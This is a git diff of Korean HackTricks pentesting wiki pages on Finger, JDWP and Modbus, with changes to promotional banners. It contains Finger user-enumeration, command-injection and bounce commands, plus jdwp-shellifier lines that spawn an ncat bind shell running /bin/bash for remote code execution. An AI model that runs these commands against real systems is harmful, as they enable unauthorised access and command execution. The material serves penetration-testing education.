<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# 79 - Pentesting Finger
|
# 79 - Pentesting Finger
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **기본 정보**
|
## **Basic Info**
|
||||||
|
|
||||||
**Finger** 프로그램/서비스는 컴퓨터 사용자에 대한 세부 정보를 검색하는 데 사용됩니다. 일반적으로 제공되는 정보에는 **사용자의 로그인 이름, 전체 이름** 및 경우에 따라 추가 정보가 포함됩니다. 이 추가 정보에는 사무실 위치와 전화번호(사용 가능한 경우), 사용자가 로그인한 시간, 비활동 기간(유휴 시간), 사용자가 마지막으로 메일을 읽은 시간 및 사용자의 계획 및 프로젝트 파일의 내용이 포함될 수 있습니다.
|
**Finger** 프로그램/서비스는 컴퓨터 사용자에 대한 세부 정보를 검색하는 데 사용됩니다. 일반적으로 제공되는 정보에는 **사용자의 로그인 이름, 전체 이름**이 포함되며, 경우에 따라 추가 세부 정보가 포함될 수 있습니다. 이러한 추가 세부 정보에는 사무실 위치 및 전화번호(가능한 경우), 사용자가 로그인한 시간, 비활성 기간(유휴 시간), 사용자가 마지막으로 읽은 메일의 시간, 사용자의 계획 및 프로젝트 파일의 내용이 포함될 수 있습니다.
|
||||||
|
|
||||||
**기본 포트:** 79
|
**기본 포트:** 79
|
||||||
```
|
```
|
||||||
|
@ -25,64 +26,26 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
## **열거**
|
## **열거**
|
||||||
|
|
||||||
### **배너 그래빙/기본 연결**
|
### **배너 수집/기본 연결**
|
||||||
|
|
||||||
배너 그래빙은 네트워크 서비스의 버전 및 운영 체제 정보를 얻기 위해 사용되는 기술입니다. 이를 통해 공격자는 취약점을 찾거나 서비스의 약점을 파악할 수 있습니다. 배너 그래빙은 주로 Finger 서비스를 대상으로 사용됩니다.
|
|
||||||
|
|
||||||
Finger 서비스는 사용자 정보를 조회하는 데 사용되는 프로토콜입니다. 공격자는 Finger 서비스를 통해 사용자 이름, 전자 메일 주소, 로그인 시간 등의 정보를 얻을 수 있습니다. 이 정보는 공격자가 사회 공학 공격을 수행하거나 다른 공격 기법을 사용할 때 유용하게 활용될 수 있습니다.
|
|
||||||
|
|
||||||
배너 그래빙을 수행하기 위해 다음 명령을 사용할 수 있습니다.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
finger @<target>
|
|
||||||
```
|
|
||||||
|
|
||||||
위 명령은 Finger 서비스를 대상으로 배너 그래빙을 수행합니다. `<target>`은 대상 서버의 IP 주소나 도메인 이름입니다. 이 명령을 실행하면 서버의 배너 정보가 표시됩니다.
|
|
||||||
```bash
|
```bash
|
||||||
nc -vn <IP> 79
|
nc -vn <IP> 79
|
||||||
echo "root" | nc -vn <IP> 79
|
echo "root" | nc -vn <IP> 79
|
||||||
```
|
```
|
||||||
### **사용자 열거(User enumeration)**
|
### **사용자 열거**
|
||||||
|
|
||||||
User enumeration은 시스템에서 사용자 계정을 식별하는 과정입니다. 이 기술은 공격자가 시스템에 대한 정보를 수집하고 악용하는 데 사용될 수 있습니다. 사용자 열거는 다양한 방법으로 수행될 수 있으며, 이를 통해 공격자는 시스템에 등록된 사용자 계정을 확인할 수 있습니다.
|
|
||||||
|
|
||||||
#### **1. Finger service**
|
|
||||||
|
|
||||||
Finger 서비스는 네트워크 상의 사용자 정보를 제공하는 프로토콜입니다. 공격자는 Finger 서비스를 이용하여 시스템에 등록된 사용자 계정을 확인할 수 있습니다. Finger 서비스는 기본적으로 TCP 포트 79를 사용하며, 일부 시스템에서는 기본적으로 비활성화되어 있을 수 있습니다.
|
|
||||||
|
|
||||||
공격자는 다음과 같은 명령을 사용하여 Finger 서비스를 이용할 수 있습니다.
|
|
||||||
|
|
||||||
```
|
|
||||||
$ finger @<target>
|
|
||||||
```
|
|
||||||
|
|
||||||
위 명령은 대상 시스템의 Finger 서비스를 쿼리하여 등록된 사용자 계정을 확인합니다. Finger 서비스가 활성화되어 있고 공격자가 알맞은 사용자 계정을 식별할 경우, 해당 사용자의 정보를 얻을 수 있습니다.
|
|
||||||
|
|
||||||
#### **2. User enumeration through error messages**
|
|
||||||
|
|
||||||
시스템은 사용자 인증 과정에서 발생하는 오류 메시지를 통해 사용자 계정의 존재 여부를 알려줄 수 있습니다. 공격자는 이러한 오류 메시지를 분석하여 사용자 계정을 열거할 수 있습니다. 예를 들어, 로그인 시도 중에 "잘못된 비밀번호"라는 오류 메시지가 나타난다면, 해당 사용자 계정이 존재한다는 것을 알 수 있습니다.
|
|
||||||
|
|
||||||
공격자는 다양한 인증 시나리오를 시도하면서 오류 메시지를 분석하여 사용자 계정을 확인할 수 있습니다. 이를 통해 공격자는 시스템에 등록된 사용자 계정을 식별할 수 있습니다.
|
|
||||||
|
|
||||||
#### **3. User enumeration through timing attacks**
|
|
||||||
|
|
||||||
타이밍 공격(Timing attack)은 시스템의 응답 시간을 분석하여 사용자 계정의 존재 여부를 확인하는 기술입니다. 공격자는 인증 시나리오에서 사용자 계정이 존재하는 경우와 그렇지 않은 경우의 응답 시간을 비교하여 사용자 계정을 열거할 수 있습니다.
|
|
||||||
|
|
||||||
타이밍 공격은 인증 시나리오에서 발생하는 미세한 시간 차이를 이용하여 사용자 계정을 식별합니다. 이를 통해 공격자는 시스템에 등록된 사용자 계정을 확인할 수 있습니다.
|
|
||||||
```bash
|
```bash
|
||||||
finger @<Victim> #List users
|
finger @<Victim> #List users
|
||||||
finger admin@<Victim> #Get info of user
|
finger admin@<Victim> #Get info of user
|
||||||
finger user@<Victim> #Get info of user
|
finger user@<Victim> #Get info of user
|
||||||
```
|
```
|
||||||
대신에 [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum)에서 **finger-user-enum**을 사용할 수도 있습니다. 몇 가지 예시는 다음과 같습니다:
|
대안으로 [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum)에서 **finger-user-enum**을 사용할 수 있습니다. 몇 가지 예:
|
||||||
```bash
|
```bash
|
||||||
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
||||||
finger-user-enum.pl -u root -t 10.0.0.1
|
finger-user-enum.pl -u root -t 10.0.0.1
|
||||||
finger-user-enum.pl -U users.txt -T ips.txt
|
finger-user-enum.pl -U users.txt -T ips.txt
|
||||||
```
|
```
|
||||||
#### **Nmap은 기본 스크립트를 사용하여 실행합니다**
|
#### **Nmap 기본 스크립트를 사용하여 실행하는 스크립트**
|
||||||
|
|
||||||
### Metasploit은 Nmap보다 더 많은 트릭을 사용합니다
|
### Metasploit은 Nmap보다 더 많은 트릭을 사용합니다.
|
||||||
```
|
```
|
||||||
use auxiliary/scanner/finger/finger_users
|
use auxiliary/scanner/finger/finger_users
|
||||||
```
|
```
|
||||||
|
@ -97,21 +60,22 @@ finger "|/bin/ls -a /@example.com"
|
||||||
```
|
```
|
||||||
## Finger Bounce
|
## Finger Bounce
|
||||||
|
|
||||||
[시스템을 손가락 중계로 사용하기](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
[시스템을 finger 릴레이로 사용하기](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||||
```
|
```
|
||||||
finger user@host@victim
|
finger user@host@victim
|
||||||
finger @internal@external
|
finger @internal@external
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,62 +1,63 @@
|
||||||
# JDWP - 자바 디버그 와이어 프로토콜의 Pentesting
|
# Pentesting JDWP - Java Debug Wire Protocol
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Exploiting
|
## Exploiting
|
||||||
|
|
||||||
JDWP의 취약점은 **인증 및 암호화의 부재**에 기인합니다. 일반적으로 **포트 8000**에서 찾을 수 있지만 다른 포트도 가능합니다. 초기 연결은 대상 포트로 "JDWP-Handshake"를 보내어 수행됩니다. JDWP 서비스가 활성화되어 있다면, 동일한 문자열로 응답하여 존재를 확인합니다. 이 핸드셰이크는 네트워크 상의 JDWP 서비스를 식별하기 위한 지문 인식 방법으로 작동합니다.
|
JDWP 취약점 공격은 **프로토콜의 인증 및 암호화 부족**에 의존합니다. 일반적으로 **포트 8000**에서 발견되지만 다른 포트도 가능합니다. 초기 연결은 대상 포트에 "JDWP-Handshake"를 전송하여 이루어집니다. JDWP 서비스가 활성화되어 있으면 동일한 문자열로 응답하여 존재를 확인합니다. 이 핸드셰이크는 네트워크에서 JDWP 서비스를 식별하는 지문 인식 방법으로 작용합니다.
|
||||||
|
|
||||||
프로세스 식별 측면에서, Java 프로세스에서 "jdwk" 문자열을 검색하면 활성 JDWP 세션을 나타낼 수 있습니다.
|
프로세스 식별 측면에서, Java 프로세스에서 "jdwk" 문자열을 검색하면 활성 JDWP 세션을 나타낼 수 있습니다.
|
||||||
|
|
||||||
기본 도구는 [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)입니다. 다양한 매개변수와 함께 사용할 수 있습니다:
|
주요 도구는 [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)입니다. 다양한 매개변수와 함께 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||||
```
|
```
|
||||||
`--break-on 'java.lang.String.indexOf'`를 사용하면 공격이 더 **안정적**이라는 것을 발견했습니다. 그리고 호스트에 백도어를 업로드하고 명령을 실행하는 대신에 백도어를 실행한다면 공격은 더욱 안정적일 것입니다.
|
I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **stable**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
|
||||||
|
|
||||||
## 자세한 내용
|
## More details
|
||||||
|
|
||||||
**이것은 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)의 요약입니다.** 자세한 내용은 해당 링크를 확인하십시오.
|
**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.
|
||||||
|
|
||||||
|
|
||||||
1. **JDWP 개요**:
|
1. **JDWP 개요**:
|
||||||
- 주로 동기식인 패킷 기반 네트워크 이진 프로토콜입니다.
|
- 패킷 기반의 네트워크 이진 프로토콜로, 주로 동기식입니다.
|
||||||
- 인증 및 암호화 기능이 없어 적대적인 네트워크에 노출될 경우 취약합니다.
|
- 인증 및 암호화가 부족하여 적대적인 네트워크에 노출될 경우 취약합니다.
|
||||||
|
|
||||||
2. **JDWP 핸드셰이크**:
|
2. **JDWP 핸드셰이크**:
|
||||||
- 간단한 핸드셰이크 프로세스를 사용하여 통신을 초기화합니다. 디버거(클라이언트)와 디버기(서버) 간에 14자리 ASCII 문자열 "JDWP-Handshake"가 교환됩니다.
|
- 통신을 시작하기 위해 간단한 핸드셰이크 프로세스가 사용됩니다. 디버거(클라이언트)와 디버기(서버) 간에 14자 ASCII 문자열 “JDWP-Handshake”가 교환됩니다.
|
||||||
|
|
||||||
3. **JDWP 통신**:
|
3. **JDWP 통신**:
|
||||||
- 메시지는 길이, ID, 플래그 및 명령 집합과 같은 필드를 포함한 간단한 구조를 가지고 있습니다.
|
- 메시지는 길이, ID, 플래그 및 명령 집합과 같은 필드를 가진 간단한 구조를 가지고 있습니다.
|
||||||
- 명령 집합 값은 0x40에서 0x80까지이며 다양한 작업 및 이벤트를 나타냅니다.
|
- 명령 집합 값은 0x40에서 0x80까지 다양하며, 서로 다른 동작 및 이벤트를 나타냅니다.
|
||||||
|
|
||||||
4. **Exploitation**:
|
4. **악용**:
|
||||||
- JDWP는 임의의 클래스와 바이트코드를 로드하고 호출할 수 있으므로 보안 위험이 있습니다.
|
- JDWP는 임의의 클래스와 바이트코드를 로드하고 호출할 수 있어 보안 위험을 초래합니다.
|
||||||
- 이 문서에서는 Java Runtime 참조를 가져오고 중단점을 설정하고 메서드를 호출하는 5단계의 공격 과정을 설명합니다.
|
- 이 기사는 Java 런타임 참조를 가져오고, 중단점을 설정하고, 메서드를 호출하는 다섯 단계의 악용 프로세스를 자세히 설명합니다.
|
||||||
|
|
||||||
5. **실제 공격 사례**:
|
5. **실제 악용**:
|
||||||
- 잠재적인 방화벽 보호에도 불구하고, ShodanHQ 및 GitHub과 같은 플랫폼에서 검색 결과를 통해 실제 시나리오에서 JDWP 서비스를 발견하고 공격할 수 있습니다.
|
- 잠재적인 방화벽 보호에도 불구하고 JDWP 서비스는 발견 가능하며 실제 시나리오에서 악용될 수 있습니다. 이는 ShodanHQ 및 GitHub와 같은 플랫폼에서의 검색을 통해 입증됩니다.
|
||||||
- 이 공격 스크립트는 다양한 JDK 버전에서 테스트되었으며 플랫폼에 독립적이며 신뢰할 수 있는 원격 코드 실행(RCE)을 제공합니다.
|
- 이 악용 스크립트는 다양한 JDK 버전에서 테스트되었으며 플랫폼에 독립적이며 신뢰할 수 있는 원격 코드 실행(RCE)을 제공합니다.
|
||||||
|
|
||||||
6. **보안 영향**:
|
6. **보안 의미**:
|
||||||
- 인터넷에서 열린 JDWP 서비스의 존재는 정기적인 보안 검토, 운영 환경에서 디버그 기능 비활성화 및 적절한 방화벽 구성의 필요성을 강조합니다.
|
- 인터넷에 열린 JDWP 서비스의 존재는 정기적인 보안 검토, 프로덕션에서 디버그 기능 비활성화 및 적절한 방화벽 구성의 필요성을 강조합니다.
|
||||||
|
|
||||||
|
|
||||||
### **참고 자료:**
|
### **References:**
|
||||||
|
|
||||||
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||||||
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||||||
|
@ -71,16 +72,17 @@ JDWP의 취약점은 **인증 및 암호화의 부재**에 기인합니다. 일
|
||||||
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||||
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,22 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
1979년에 **Modbus 프로토콜**은 Modicon에 의해 개발되었으며 메시징 구조로 사용됩니다. 주요 용도는 마스터-슬레이브/클라이언트-서버 모델에서 작동하는 지능형 장치 간 통신을 용이하게 하는 것입니다. 이 프로토콜은 장치 간 데이터 교환을 효율적으로 가능하게 하는 데 중요한 역할을 합니다.
|
1979년, **Modbus 프로토콜**이 Modicon에 의해 개발되어 메시징 구조로 사용됩니다. 이 프로토콜의 주요 용도는 마스터-슬레이브/클라이언트-서버 모델에 따라 지능형 장치 간의 통신을 촉진하는 것입니다. 이 프로토콜은 장치가 데이터를 효율적으로 교환할 수 있도록 하는 데 중요한 역할을 합니다.
|
||||||
|
|
||||||
